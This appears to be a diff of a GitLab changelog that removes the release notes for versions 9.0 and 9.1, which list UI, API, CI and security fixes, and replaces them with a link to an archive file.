-- Change issues list in MR to natural sorting. !7110 (Jeff Stubler)
-- Add animations to all the dropdowns. !8419
-- Add update time to project lists. !8514 (Jeff Stubler)
-- Remove view fragment caching for project READMEs. !8838
-- API: Add parameters to allow filtering project pipelines. !9367 (dosuken123)
-- Database SSL support for backup script. !9715 (Guillaume Simon)
-- Fix UI inconsistency different files view (find file button missing). !9847 (TM Lee)
-- Display slash commands outcome when previewing Markdown. !10054 (Rares Sfirlogea)
-- Resolve "Add more tests for spec/controllers/projects/builds_controller_spec.rb". !10244 (dosuken123)
-- Add keyboard edit shotcut for wiki. !10245 (George Andrinopoulos)
-- Redirect old links after renaming a user/group/project. !10370
-- Add system note on description change of issue/merge request. !10392 (blackst0ne)
-- Improve validation of namespace & project paths. !10413
-- Add board_move slash command. !10433 (Alex Sanford)
-- Update all instances of the old loading icon. !10490 (Andrew Torres)
-- Implement protected manual actions. !10494
-- Implement search by extern_uid in Users API. !10509 (Robin Bobbitt)
-- add support for .vue templates. !10517
-- Only add newlines between multiple uploads. !10545
-- Added balsamiq file viewer. !10564
-- Remove unnecessary test helpers includes. !10567 (Jacopo Beschi @jacopo-beschi)
-- Add tooltip to header of Done board. !10574 (Andy Brown)
-- Fix redundant cache expiration in Repository. !10575 (blackst0ne)
-- Add hashie-forbidden_attributes gem. !10579 (Andy Brown)
-- Add spec for schema.rb. !10580 (blackst0ne)
-- Keep webpack-dev-server process functional across branch changes. !10581
-- Turns true value and false value database methods from instance to class methods. !10583
-- Improve text on todo list when the todo action comes from yourself. !10594 (Jacopo Beschi @jacopo-beschi)
-- Replace rake cache:clear:db with an automatic mechanism. !10597
-- Remove heading and trailing spaces from label's color and title. !10603 (blackst0ne)
-- Add webpack_bundle_tag helper to improve non-localhost GDK configurations. !10604
-- Added quick-update (fade-in) animation to newly rendered notes. !10623
-- Fix rendering emoji inside a string. !10647 (blackst0ne)
-- Dockerfiles templates are imported from gitlab.com/gitlab-org/Dockerfile. !10663
-- Add support for i18n on Cycle Analytics page. !10669
-- Allow OAuth clients to push code. !10677
-- Add configurable timeout for git fetch and clone operations. !10697
-- Move labels of search results from bottom to title. !10705 (dr)
-- Added build failures summary page for pipelines. !10719
-- Expand/collapse button -> Change to make it look like a toggle. !10720 (Jacopo Beschi @jacopo-beschi)
-- Decrease ABC threshold to 57.08. !10724 (Rydkin Maxim)
-- Removed target blank from the metrics action inside the environments list. !10726
-- Remove Repository#version method and tests. !10734
-- Refactor Admin::GroupsController#members_update method and add some specs. !10735
-- Refactor code that creates project/group members. !10735
-- Add Slack slash command api to services documentation and rearrange order and cases. !10757 (TM Lee)
-- Disable test settings on chat notification services when repository is empty. !10759
-- Add support for instantly updating comments. !10760
-- Show checkmark on current assignee in assignee dropdown. !10767
-- Remove pipeline controls for last deployment from Environment monitoring page. !10769
-- Pipeline view updates in near real time. !10777
-- Fetch pipeline status in batch from redis. !10785
-- Add username to activity atom feed. !10802 (winniehell)
-- Support Markdown previews for personal snippets. !10810
-- Implement ability to edit hooks. !10816 (Alexander Randa)
-- Allow admins to sudo to blocked users via the API. !10842
-- Don't display the is_admin flag in most API responses. !10846
-- Refactor add_users method for project and group. !10850
-- Pipeline schedules got a new and improved UI. !10853
-- Fix updating merge_when_build_succeeds via merge API endpoint. !10873
-- Add index on ci_builds.user_id. !10874 (blackst0ne)
-- Improves test settings for chat notification services for empty projects. !10886
-- Change Git commit command in Existing folder to git commit -m. !10900 (TM Lee)
-- Show group name on flash container when group is created from Admin area. !10905
-- Make markdown tables thinner. !10909 (blackst0ne)
-- Ensure namespace owner is Master of project upon creation. !10910
-- Updated CI status favicons to include the tanuki. !10923
-- Decrease Cyclomatic Complexity threshold to 16. !10928 (Rydkin Maxim)
-- Replace header merge request icon. !10932 (blackst0ne)
-- Fix error on CI/CD Settings page related to invalid pipeline trigger. !10948 (dosuken123)
-- rickettm Add repo parameter to gitaly:install and workhorse:install rake tasks. !10979 (M. Ricketts)
-- Generate and handle a gl_repository param to pass around components. !10992
-- Prevent 500 errors caused by testing the Prometheus service. !10994
-- Disable navigation to Project-level pages configuration when Pages disabled. !11008
-- Fix caching large snippet HTML content on MySQL databases. !11024
-- Hide external environment URL button on terminal page if URL is not defined. !11029
-- Always show the latest pipeline information in the commit box. !11038
-- Fix misaligned buttons in wiki pages. !11043
-- Colorize labels in search field. !11047
-- Sort the network graph both by commit date and topographically. !11057
-- Remove carriage returns from commit messages. !11077
-- Add tooltips to user contribution graph key. !11138
-- Add German translation for Cycle Analytics. !11161
-- Fix skipped manual actions problem when processing the pipeline. !11164
-- Fix cross referencing for private and internal projects. !11243
-- Add state to MR widget that prevent merges when branch changes after page load. !11316
-- Fixes the 500 when accessing customized appearance logos. !11479 (Alexis Reigel)
-- Implement Users::BuildService. !30349 (George Andrinopoulos)
-- Display comments for personal snippets.
-- Support comments for personal snippets.
-- Support uploaders for personal snippets comments.
-- Handle incoming emails from aliases correctly.
-- Re-rewrites pipeline graph in vue to support realtime data updates.
-- Add issues/:iid/closed_by api endpoint. (mhasbini)
-- Disallow merge requests from fork when source project have disabled merge requests. (mhasbini)
-- Improved UX on project members settings view.
-- Clear emoji search in awards menu after picking emoji.
-- Cleanup markdown spacing.
-- Separate CE params on Grape API.
-- Allow to create new branch and empty WIP merge request from issue page.
-- Prevent people from creating branches if they don't have persmission to push.
-- Redesign auth 422 page.
-- 29595 Update callout design.
-- Detect already enabled DeployKeys in EnableDeployKeyService.
-- Add transparent top-border to the hover state of done todos.
-- Refactor all CI vue badges to use the same vue component.
-- Update note edits in real-time.
-- Add button to delete filters from filtered search bar.
-- Added profile name to user dropdown.
-- Display GitLab Pages status in Admin Dashboard.
-- Fix label creation from issuable for subgroup projects.
-- Vertically align mini pipeline stage container.
-- prevent nav tabs from wrapping to new line.
-- Fix environments vue architecture to match documentation.
-- Enforce project features when searching blobs and wikis.
-- fix inline diff copy in firefox.
-- Note Ghost user and refer to user deletion documentation.
-- Expose project statistics on single requests via the API.
-- Job dropdown of pipeline mini graph updates in realtime when its opened.
-- Add default margin-top to user request table on project members page.
-- Add tooltips to note action buttons.
-- Remove `#` being added on commit sha in MR widget.
-- Remove spinner from loading comment.
-- Fixes an issue preventing screen readers from reading some icons.
-- Load milestone tabs asynchronously to increase initial load performance.
-- [BB Importer] Save the error trace and the whole raw document to debug problems easier.
-- Fixed branches dropdown rendering branch names as HTML.
-- Make Asciidoc & other markup go through pipeline to prevent XSS.
-- Validate URLs in markdown using URI to detect the host correctly.
-- Side-by-side view in commits correcly expands full window width.
-- Deploy keys load are loaded async.
-- Fixed spacing of discussion submit buttons.
-- Add hostname to usage ping.
-- Allow usage ping to be disabled completely in gitlab.yml.
-- Add artifact file page that uses the blob viewer.
-- Add breadcrumb, build header and pipelines submenu to artifacts browser.
-- Show Raw button as Download for binary files.
-- Add Source/Rendered switch to blobs for SVG, Markdown, Asciidoc and other text files that can be rendered.
-- Catch all URI errors in ExternalLinkFilter.
-- Allow commenting on older versions of the diff and comparisons between diff versions.
-- Paste a copied MR source branch name as code when pasted into a GFM form.
-- Fix commenting on an existing discussion on an unchanged line that is no longer in the diff.
-- Link to outdated diff in older MR version from outdated diff discussion.
-- Bump Sidekiq to 5.0.0.
-- Use blob viewers for snippets.
-- Add download button to project snippets.
-- Display video blobs in-line like images.
-- Gracefully handle failures for incoming emails which do not match on the To header, and have no References header.
-- Added title to award emoji buttons.
-- Fixed alignment of empty task list items.
-- Removed the target=_blank from the monitoring component to prevent opening a new tab.
-- Fix new admin integrations not taking effect on existing projects.
-- Prevent further repository corruption when resolving conflicts from a fork where both the fork and upstream projects require housekeeping.
-- Add missing project attributes to Import/Export.
-- Remove N+1 queries in processing MR references.
-- Fixed wrong method call on notify_post_receive. (Luigi Leoni)
-- Fixed search terms not correctly highlighting.
-- Refactored the anchor tag to remove the trailing space in the target branch.
-- Prevent user profile tabs to display raw json when going back and forward in browser history.
-- Add index to webhooks type column.
-- Change line-height on build-header so elements don't overlap. (Dino Maric)
-- Fix dead link to GDK on the README page. (Dino Maric)
-- Fixued preview shortcut focusing wrong preview tab.
-- Issue assignees are now removed without loading unnecessary data into memory.
-- Refactor backup/restore docs.
-- Fixed group issues assignee dropdown loading all users.
-- Fix for XSS in project import view caused by Hamlit filter usage.
-- Fixed avatar not display on issue boards when Gravatar is disabled.
-- Fixed create new label form in issue boards sidebar.
-- Add realtime descriptions to issue show pages.
-- Issue API change: assignee_id parameter and assignee object in a response have been deprecated.
-- Fixed bug where merge request JSON would be displayed.
-- Fixed Prometheus monitoring graphs not showing empty states in certain scenarios.
-- Removed the milestone references from the milestone views.
-- Show sizes correctly in merge requests when diffs overflow.
-- Fix notify_only_default_branch check for Slack service.
-- Make the `gitlab:gitlab_shell:check` task check that the repositories storage path are owned by the `root` group.
-- Optimise pipelines.json endpoint.
-- Pass docsUrl to pipeline schedules callout component.
-- Fixed alignment of CI icon in issues related branches.
-- Set the issuable sidebar to remain closed for mobile devices.
-- Sanitize submodule URLs before linking to them in the file tree view.
-- Upgrade Sidekiq to 4.2.10.
-- Cache Routable#full_path in RequestStore to reduce duplicate route loads.
-- Refactor snippets finder & dont return internal snippets for external users.
-- Fix snippets visibility for show action - external users can not see internal snippets.
-- Store retried in database for CI Builds.
-- repository browser: handle submodule urls that don't end with .git. (David Turner)
-- Fixed tags sort from defaulting to empty.
-- Do not show private groups on subgroups page if user doesn't have access to.
-- Make MR link in build sidebar bold.
-- Unassign all Issues and Merge Requests when member leaves a team.
-- Fix preemptive scroll bar on user activity calendar.
-- Pipeline chat notifications convert seconds to minutes and hours.
-
-## 9.1.10 (2017-08-09)
-
-- Remove hidden symlinks from project import files.
-- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
-
-## 9.1.9 (2017-07-20)
-
-- Fix an infinite loop when handling user-supplied regular expressions.
-
-## 9.1.8 (2017-07-19)
-
-- Improve support for external issue references. !12485
-- Renders 404 if given project is not readable by the user on Todos dashboard.
-- Fix incorrect project authorizations.
-- Remove uploads/appearance symlink. A leftover from a previous migration.
-
-## 9.1.7 (2017-06-07)
-
-- No changes.
-
-## 9.1.6 (2017-06-02)
-
-- Fix visibility when referencing snippets.
-
-## 9.1.5 (2017-05-31)
-
-- Move uploads from 'public/uploads' to 'public/uploads/system'.
-- Restrict API X-Frame-Options to same origin.
-- Allow users autocomplete by author_id only for authenticated users.
-
-## 9.1.4 (2017-05-12)
-
-- Fix error on CI/CD Settings page related to invalid pipeline trigger. !10948 (dosuken123)
-- Sort the network graph both by commit date and topographically. !11057
-- Fix cross referencing for private and internal projects. !11243
-- Handle incoming emails from aliases correctly.
-- Gracefully handle failures for incoming emails which do not match on the To header, and have no References header.
-- Add missing project attributes to Import/Export.
-- Fixed search terms not correctly highlighting.
-- Fixed bug where merge request JSON would be displayed.
-
-## 9.1.3 (2017-05-05)
-
-- Do not show private groups on subgroups page if user doesn't have access to.
-- Enforce project features when searching blobs and wikis.
-- Fixed branches dropdown rendering branch names as HTML.
-- Make Asciidoc & other markup go through pipeline to prevent XSS.
-- Validate URLs in markdown using URI to detect the host correctly.
-- Fix for XSS in project import view caused by Hamlit filter usage.
-- Sanitize submodule URLs before linking to them in the file tree view.
-- Refactor snippets finder & dont return internal snippets for external users.
-- Fix snippets visibility for show action - external users can not see internal snippets.
-
-## 9.1.2 (2017-05-01)
-
-- Add index on ci_runners.contacted_at. !10876 (blackst0ne)
-- Fix pipeline events description for Slack and Mattermost integration. !10908
-- Fixed milestone sidebar showing incorrect number of MRs when collapsed. !10933
-- Fix ordering of commits in the network graph. !10936
-- Ensure the chat notifications service properly saves the "Notify only default branch" setting. !10959
-- Lazily sets UUID in ApplicationSetting for new installations.
-- Skip validation when creating internal (ghost, service desk) users.
-- Use GitLab Pages v0.4.1.
-
-## 9.1.1 (2017-04-26)
-
-- Add a transaction around move_issues_to_ghost_user. !10465
-- Properly expire cache for all MRs of a pipeline. !10770
-- Add sub-nav for Project Integration Services edit page. !10813
-- Fix missing duration for blocked pipelines. !10856
-- Fix lastest commit status text on main project page. !10863
-- Add index on ci_builds.updated_at. !10870 (blackst0ne)
-- Fix 500 error due to trying to show issues from pending deleting projects. !10906
-- Ensures that OAuth/LDAP/SAML users don't need to be confirmed.
-- Ensure replying to an individual note by email creates a note with its own discussion ID.
-- Fix OAuth, LDAP and SAML SSO when regular sign-ups are disabled.
-- Fix usage ping docs link from empty cohorts page.
-- Eliminate N+1 queries in loading namespaces for every issuable in milestones.
-
-## 9.1.0 (2017-04-22)
-
-- Add Jupyter notebook rendering !10017
-- Added merge requests empty state. !7342
-- Add option to start a new resolvable discussion in an MR. !7527
-- Hide form inputs for group member without editing rights. !7816
-- Create a new issue for a single discussion in a Merge Request. !8266 (Bob Van Landuyt)
-- Adding non_archived scope for counting projects. !8305 (Naveen Kumar)
-- Don't show links to tag a commit for users that are not permitted. !8407
-- New file from interface on existing branch. !8427 (Jacopo Beschi @jacopo-beschi)
-- Strip reference prefixes on branch creation. !8498 (Matthieu Tardy)
-- Support 2FA requirement per-group. !8763 (Markus Koller)
-- Add Undo to Todos in the Done tab. !8782 (Jacopo Beschi @jacopo-beschi)
-- Shows 'Go Back' link only when browser history is available. !9017
-- Implement user create service. !9220 (George Andrinopoulos)
-- Incorporate Gitaly client for refs service. !9291
-- Cancel pending pipelines if commits not HEAD. !9362 (Rydkin Maxim)
-- Add indication for closed or merged issuables in GFM. !9462 (Adam Buckland)
-- Periodically clean up temporary upload files to recover storage space. !9466 (blackst0ne)
-- Use toggle button to expand / collapse mulit-nested groups. !9501
-- Fixes dismissable error close is not visible enough. !9516
-- Fixes an issue in the new merge request form, where a tag would be selected instead of a branch when they have the same names. !9535 (Weiqing Chu)
-- Expose CI/CD status API endpoints with Gitlab::Ci::Status facility on pipeline, job and merge request for favicon. !9561 (dosuken123)
-- Use Gitaly for CommitController#show. !9629
-- Order milestone issues by position ascending in api. !9635 (George Andrinopoulos)
-- Convert Issue into ES6 class. !9636 (winniehell)
-- Link issuable reference to itself in meta-header. !9641 (mhasbini)
-- Add ability to disable Merge Request URL on push. !9663 (Alex Sanford)
-- ProjectsFinder should handle more options. !9682 (Jacopo Beschi @jacopo-beschi)
-- Fix create issue form buttons are misaligned on mobile. !9706 (TM Lee)
-- Labels support color names in backend. !9725 (Dongqing Hu)
-- Standardize on core-js for es2015 polyfills. !9749
-- Fix GitHub Import deleting branches for open PRs from a fork. !9758
-- Do not show LFS object when LFS is disabled. !9779 (Christopher Bartz)
-- Fix symlink icon in project tree. !9780 (mhasbini)
-- Fix bug when system hook for deploy key. !9796 (billy.lb)
-- Make authorized projects worker use a specific queue instead of the default one. !9813
-- Simplify trigger_docs build job for CE and EE. !9820 (winniehell)
-- Add `aria-label` for feature status accessibility. !9830
-- Add dashboard and group milestones count badges. !9836 (Alex Braha Stoll)
-- Use Gitaly for Repository#is_ancestor. !9864
-- After copying a diff file or blob path, pasting it into a comment field will format it as Markdown. !9876
-- Fix visibility level on new project page. !9885 (blackst0ne)
-- Fix xml.updated field in rss/atom feeds. !9889 (blackst0ne)
-- Add Undo mark all as done to Todos. !9890 (Jacopo Beschi @jacopo-beschi)
-- Add a name field to the group form. !9891 (Douglas Lovell)
-- Add custom attributes in factories. !9892 (George Andrinopoulos)
-- Resolve project pipeline status caching problem on dashboard. !9895
-- Display error message when deleting tag in web UI fails. !9906
-- Add quick submit for snippet forms. !9911 (blackst0ne)
-- New directory from interface on existing branch. !9921 (Jacopo Beschi @jacopo-beschi)
-- Removes UJS from pipelines tables. !9929
-- Fix project title validation, prevent clicking on disabled button. !9931
-- Show correct user & creation time in heading of the pipeline page. !9936
-- Include time tracking attributes in webhooks payload. !9942
-- Add `requirements: { id: /.+/ }` for all projects and groups namespaced API routes. !9944
-- Improved UX for the environments metrics view. !9946
-- Remove whitespace in group links. !9947 (Xurxo Méndez Pérez)
-- Adds Frontend Styleguide to documentation. !9961
-- Add metadata to system notes. !9964
-- When viewing old wiki page version, edit button should be disabled. !9966 (TM Lee)
-- Added labels array to the issue web hook returned object. !9972
-- Upgrade VueJS to v2.2.4 and disable dev mode warnings. !9981
-- Only add code coverage instrumentation when generating coverage report. !9987
-- Fix Project Wiki update. !9990 (Dongqing Hu)
-- Fix trigger webhook for ref with a dot. !10001 (George Andrinopoulos)
-- Fix quick submit short-cut on preview tab for comments. !10002
-- Add option to receive email notifications about your own activity. !10032 (Richard Macklin)
-- Rename 'All issues' to 'Open issues' in Add issues modal. !10042 (blackst0ne)
-- Disable pipeline and environment actions that are not playable. !10052
-- Added clarification to the Jira integration documentation. !10066 (Matthew Bender)
-- Move milestone summary content into the sidebar. !10096
-- Replace closing MR icon. !10103 (blackst0ne)
-- Add support for multi-level container image repository names. !10109 (André Guede)
-- Add ECMAScript polyfills for Symbol and Array.find. !10120
-- Add tooltip to user's calendar activities. !10123 (Alex Argunov)
-- Resolve "Run CI/CD pipelines on a schedule" - "Basic backend implementation". !10133 (dosuken123)
-- Change hint on first row of filters dropdown to `Press Enter or click to search`. !10138
-- Remove useless queries with false conditions (e.g 1=0). !10141 (mhasbini)
-- Show CI status as Favicon on Pipelines, Job and MR pages. !10144
-- Update color palette to a more harmonious and consistent one. !10154
-- Add tooltip and accessibility for profile cover buttons. !10182
-- Change Done column to Closed in issue boards. !10198 (blackst0ne)
-- Add metrics button to environments overview page. !10234
-- Force unlimited terminal size when checking processes via call to ps. !10246 (Sebastian Reitenbach)
-- Fix sub-nav highlighting for `Environments` and `Jobs` pages. !10254
-- Drop support for correctly processing legacy pipelines. !10266
-- Fix project creation failure due to race condition in namespace directory creation. !10268 (Robin Bobbitt)
-- Introduced error/empty states for the environments performance metrics. !10271
-- Improve performance of GitHub importer for large repositories. !10273
-- Introduce "polling_interval_multiplier" as application setting. !10280
-- Prevent users from disconnecting GitLab account from CAS. !10282
-- Clearly show who triggered the pipeline in email. !10283
-- Make user mentions case-insensitive. !10285 (blackst0ne)
-- Update rugged to 0.25.1.1. !10286 (Elan Ruusamäe)
-- Handle parsing OpenBSD ps output properly to display sidekiq infos on admin->monitoring->background. !10303 (Sebastian Reitenbach)
-- Log errors during generating of GitLab Pages to debug log. !10335 (Danilo Bargen)
-- Update issue board cards design. !10353
-- Tags can be protected, restricting creation of matching tags by user role. !10356
-- Set GIT_TERMINAL_PROMPT env variable in initializer. !10372
-- Remove index for users.current sign in at. !10401 (blackst0ne)
-- Include reopened MRs when searching for opened ones. !10407
-- Integrates Microsoft Teams webhooks with GitLab. !10412
-- Fix subgroup repository disappearance if group was moved. !10414
-- Add /-/readiness /-/liveness and /-/metrics endpoints to track application health. !10416
-- Changed capitalisation of buttons across GitLab. !10418
-- Fix blob highlighting in search. !10420
-- Add remove_concurrent_index to database helper. !10441 (blackst0ne)
-- Fix wiki commit message. !10464 (blackst0ne)
-- Deleting a user should not delete associated records. !10467
-- Include endpoint in metrics for ETag caching middleware. !10495
-- Change project view default for existing users and anonymous visitors to files+readme. !10498
-- Hide header counters for issue/mr/todos if zero. !10506
-- Remove the User#is_admin? method. !10520 (blackst0ne)
-- Removed Milestone#is_empty?. !10523 (Jacopo Beschi @jacopo-beschi)
-- Add UI for Trigger Schedule. !10533 (dosuken123)
-- Add foreign key for ci_trigger_requests on ci_triggers. !10537
-- Upgrade webpack to v2.3.3 and webpack-dev-server to v2.4.2. !10552
-- Bugfix: POST /projects/:id/hooks and PUT /projects/:id/hook/:hook_id no longer ignore the the job_events param in the V4 API. !10586
-- Fix MR widget bug that merged a MR when Merge when pipeline succeeds was clicked via the dropdown. !10611
-- Hide new subgroup button if user has no permission to create one. !10627
-- Fix PlantUML integration in GFM. !10651
-- Show sub-nav under Merge Requests when issue tracker is non-default. !10658
-- Fix bad query for PostgreSQL showing merge requests list. !10666
-- Fix invalid encoding when showing some traces. !10681
-- Add lighter colors and fix existing light colors. !10690
-- Fix another case where trace does not have proper encoding set. !10728
-- Fix trace cannot be written due to encoding. !10758
-- Replace builds_enabled with jobs_enabled in projects API v4. !10786 (winniehell)
-- Add retry to system hook worker. !10801
-- Fix error when an issue reference has a pending deleting project. !10843
-- Update permalink/blame buttons with line number fragment hash.
-- Limit line length for project home page.
-- Fix filtered search input width for IE.
-- Update wikis_controller.rb to use strong params.
-- Fix API group/issues default state filter. (Alexander Randa)
-- Prevent builds dropdown to close when the user clicks in a build.
-- Display all closed issues in “done†board list.
-- Remove no-new annotation from file_template_mediator.js.
-- Changed dropdown style slightly.
-- Change gfm textarea to use monospace font.
-- Prevent filtering issues by multiple Milestones or Authors.
-- Recent search history for issues.
-- Remove duplicated tokens in issuable search bar.
-- Adds empty and error state to pipelines.
-- Allow admin to view all namespaces. (George Andrinopoulos)
-- allow offset query parameter for infinite list pages.
-- Fix wrong message on starred projects filtering. (George Andrinopoulos)
-- Adds pipeline mini-graph to system information box in Commit View.
-- Remove confusing placeholder for JIRA transition_id.
-- Remove extra margin at bottom of todos page.
-- Add back expandable folder behavior.
-- Create todos only for new mentions.
-- Linking to blob edit page handles anonymous users and users without enough permissions to edit directly.
-- Fix projects_limit RangeError on user create. (Alexander Randa)
-- Add helpful icons to profile events.
-- Refactor dropdown_milestone_spec.rb. (George Andrinopoulos)
-- Fix alignment of resolve button.
-- Change label for name on sign up form.
-- Don’t show source project name when user does not have access.
-- Update toggle buttons to be <button>.
-- Display full project name with namespace upon deletion.
-- Spam check only when spammable attributes have changed.
-- align Mark all as done with other Done buttons on Todos page.
-- Adds polling utility function for vue resource.
-- Allow unauthenticated access to some Branch API GET endpoints.
-- Fix redirection after login when the referer have params. (mhasbini)
-- fix sidebar padding for build and wiki pages.
-- Correctly update paths when changing a child group.
-- Add shortcuts and counters to MRs and issues in navbar.
-- Remove forced scroll into view when switching to Changes MR tab.
-- Fix link to Jira service documentation.
-- consistent icons in vue and kaminari pagers.
-- refocus textarea after attaching a file.
-- Enable creation of deploy keys with write access via the API.
-- Disable invalid service templates.
-- Remove the class attribute from the whitelist for HTML generated from Markdown.
-- Add search optional param and docs for V4.
-- Fix issue's note cache expiration after delete. (mhasbini)
-- Fixes HTML structure that was preventing the tooltip to disappear when hovering out of the button.
-- fix Status icons overlapping sidebar on mobile.
-- Add dropdown sort to project milestones. (George Andrinopoulos)
-- Prevent more than one issue tracker to be active for the same project. (luisdgs19)
-- Add copy button to blob header and use icon for Raw button.
-- Add metrics events for incoming emails.
-- Shows loading icon in issue boards modal when changing filters.
-- Added tests for the w.gl.utils.backOff promise.
-- Add `g t` global shortcut to go to todos.
-- Fix conflict resolution when files contain valid UTF-8 characters.
-- Added award emoji animation and improved active state.
-- Fixes milestone/merge_requests endpoint to actually scope the result. (Joren De Groof)
-- Added remaining_time method to milestoneish, specs and updated the milestone_helper milestone_remaining_days method to correctly return the correct remaining time. (Michael Robinson)
-- Removed unnecessary 'add' text in additional award emoji button.
-- adds todo functionality to closed issuable sidebar and changes todo bell icon to check-square.
-- Copy code as GFM from diffs, blobs and GFM code blocks.
-- Removed the duplicated search icon in the award emoji menu.
-- Enable snippets for new projects by default.
-- Add rake task to import GitHub projects from the command line.
-- New rake task to reset all email and private tokens.
-- Fix path disclosure in project import/export.
-- Fix 'Object not found - no match for id (sha)' when importing GitHub Pull Requests.
-- Display custom hook error messages when automatic merge is enabled.
-- Fix layout of projects page on admin area.
-- Fix encoding issue exporting a project.
-- Periodically mark projects that are stuck in importing as failed.
-- Skip groups validation on the client.
-- Fix Import/Export MR diffs not showing and missing forked MRs.
-- Create subgroups if they don't exist while importing projects.
-- Fix Milestone name on show page. (Raveesh)
-- Fix missing capitalisation on views.
-- Removed orphaned notification settings without a namespace.
-- Fix restricted project visibility setting available to users.
-- Moved the gear settings dropdown to a tab in the groups view.
-- Fixed group milestone date dropdowns not opening.
-- Fixed bug in issue boards which stopped cards being able to be dragged.
-- Added new filtered search bar to issue boards.
-- Add closed_at field to issues.
-- Do not set closed_at to nil when issue is reopened.
-- Centered issues empty state.
-- Fixed private group name disclosure via new/update forms.
-- Add keyboard shortcuts to main menu.
-- Moved the monitoring button inside the show view for the environments page.
-- Speed up initial rendering of MR diffs page.
-- Fixed tabs on new merge request page causing incorrect URLs.
-- Fix for open redirect vulnerability using continue[to] in URL when requesting project import status.
-- Fix for open redirect vulnerabilities in todos, issues, and MR controllers.
-- Optimise builds endpoint.
-- Fixed pipeline actions tooltips overflowing.
-- Fixed job tooltip being cut-off.
-- Fixed projects list lines breaking.
-- Only email pipeline creators; only email for successful pipelines with custom settings.
-- Reset users.authorized_projects_populated to automatically refresh user permissions.
-- Corrected alignment for the remember-me checkbox in the login view.
-- Fixed tabs not scrolling on mobile.
-- Add unique index for notes_id to system note metadata table.
-- Handle SSH keys that have multiple spaces between each marker.
-- Don't delete a branch involved in an open merge request in "Delete all merged branches" service.
-- Relax constraint on Wiki IDs, since subdirectories can contain spaces.
-- Remove Tags filter from Projects Explore dropdown.
-- Enable Style/Proc cop for rubocop. (mhasbini)
-- Show the build/pipeline coverage if it is available.
-- Corrected time tracking icon color in the issuable side bar.
-- update test_bundle.js ignored files.
-- Add usage ping to CE.
-- User callout only shows on current users profile.
-- Removed the hours & minutes from the users start date on their profile.
-- Only send chat notifications for the default branch.
-- Don't fill in the default kubernetes namespace.
-
-## 9.0.13 (2017-08-09)
-
-- Remove hidden symlinks from project import files.
-- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
-
-## 9.0.12 (2017-07-20)
-
-- Fix an infinite loop when handling user-supplied regular expressions.
-
-## 9.0.11 (2017-07-19)
-
-- Renders 404 if given project is not readable by the user on Todos dashboard.
-- Fix incorrect project authorizations.
-- Remove uploads/appearance symlink. A leftover from a previous migration.
-
-## 9.0.10 (2017-06-07)
-
-- No changes.
+- See [changelogs/archive-10.md](changelogs/archive-10.md)
-## 9.0.9 (2017-06-02)
-
-- Fix visibility when referencing snippets.
-
-## 9.0.8 (2017-05-31)
-
-- Move uploads from 'public/uploads' to 'public/uploads/system'.
-- Restrict API X-Frame-Options to same origin.
-- Allow users autocomplete by author_id only for authenticated users.
-
-## 9.0.7 (2017-05-05)
-
-- Enforce project features when searching blobs and wikis.
-- Fixed branches dropdown rendering branch names as HTML.
-- Make Asciidoc & other markup go through pipeline to prevent XSS.
-- Validate URLs in markdown using URI to detect the host correctly.
-- Fix for XSS in project import view caused by Hamlit filter usage.
-- Sanitize submodule URLs before linking to them in the file tree view.
-- Refactor snippets finder & dont return internal snippets for external users.
-- Fix snippets visibility for show action - external users can not see internal snippets.
-- Do not show private groups on subgroups page if user doesn't have access to.
-
-## 9.0.6 (2017-04-21)
-
-- Bugfix: POST /projects/:id/hooks and PUT /projects/:id/hook/:hook_id no longer ignore the the job_events param in the V4 API. !10586
-- Fix MR widget bug that merged a MR when Merge when pipeline succeeds was clicked via the dropdown. !10611
-- Fix PlantUML integration in GFM. !10651
-- Show sub-nav under Merge Requests when issue tracker is non-default. !10658
-- Fix restricted project visibility setting available to users.
-- Removed orphaned notification settings without a namespace.
-- Fix issue's note cache expiration after delete. (mhasbini)
-- Display custom hook error messages when automatic merge is enabled.
-- Fix filtered search input width for IE.
-
-## 9.0.5 (2017-04-10)
-
-- Add shortcuts and counters to MRs and issues in navbar.
-- Disable invalid service templates.
-- Handle SSH keys that have multiple spaces between each marker.
-
-## 9.0.4 (2017-04-05)
-
-- Don’t show source project name when user does not have access.
-- Remove the class attribute from the whitelist for HTML generated from Markdown.
-- Fix path disclosure in project import/export.
-- Fix for open redirect vulnerability using continue[to] in URL when requesting project import status.
-- Fix for open redirect vulnerabilities in todos, issues, and MR controllers.
-
-## 9.0.3 (2017-04-05)
-
-- Fix name colision when importing GitHub pull requests from forked repositories. !9719
-- Fix GitHub Importer for PRs of deleted forked repositories. !9992
-- Fix environment folder route when special chars present in environment name. !10250
-- Improve Markdown rendering when a lot of merge requests are referenced. !10252
-- Allow users to import GitHub projects to subgroups.
-- Backport API changes needed to fix sticking in EE.
-- Remove unnecessary ORDER BY clause from `forked_to_project_id` subquery. (mhasbini)
-- Make CI build to use optimistic locking only on status change.
-- Fix race condition where a namespace would be deleted before a project was deleted.
-- Fix linking to new issue with selected template via url parameter.
-- Remove unnecessary ORDER BY clause when updating todos. (mhasbini)
-- API: Make the /notes endpoint work with noteable iid instead of id.
-- Fixes method not replacing URL parameters correctly and breaking pipelines pagination.
-- Move issue, mr, todos next to profile dropdown in top nav.
-
-## 9.0.2 (2017-03-29)
-
-- Correctly update paths when changing a child group.
-- Fixed private group name disclosure via new/update forms.
-
-## 9.0.1 (2017-03-28)
-
-- Resolve "404 when requesting build trace". !9759 (dosuken123)
-- Simplify search queries for projects and merge requests. !10053 (mhasbini)
-- Fix after_script processing for Runners APIv4. !10185
-- Fix escaped html appearing in milestone page. !10224
-- Fix bug that caused jobs that already had been retried to be retried again when retrying a pipeline. !10249
-- Allow filtering by all started milestones.
-- Allow sorting by due date and priority.
-- Fixed branches pagination not displaying.
-- Fixed filtered search not working in IE.
-- Optimize labels finder query when searching for a project with a group. (mhasbini)
-
-## 9.0.0 (2017-03-22)
-
-- Fix inconsistent naming for services that delete things. !5803 (dixpac)
-- UI: Allow a project variable to be set to an empty value. !6044 (Lukáš Nový)
-- Align task list checkboxes. !6487 (Jared Deckard <jared.deckard@gmail.com>)
-- SanitizationFilter allows html5 details and summary tags. !6568
-- on branch deletion show loading icon and disabled the button. !6761 (wendy0402)
-- Use an entity for RepoBranch commits and enhance RepoCommit. !7138 (Ben Boeckel)
-- Deleting a user doesn't delete issues they've created/are assigned to. !7393
-- Fix position of counter in milestone panels. !7842 (Andrew Smith (EspadaV8))
-- Added a feature to create a 'directly addressed' Todo when mentioned in the beginning of a line. !7926 (Ershad Kunnakkadan)
-- Implement OpenID Connect identity provider. !8018 (Markus Koller)
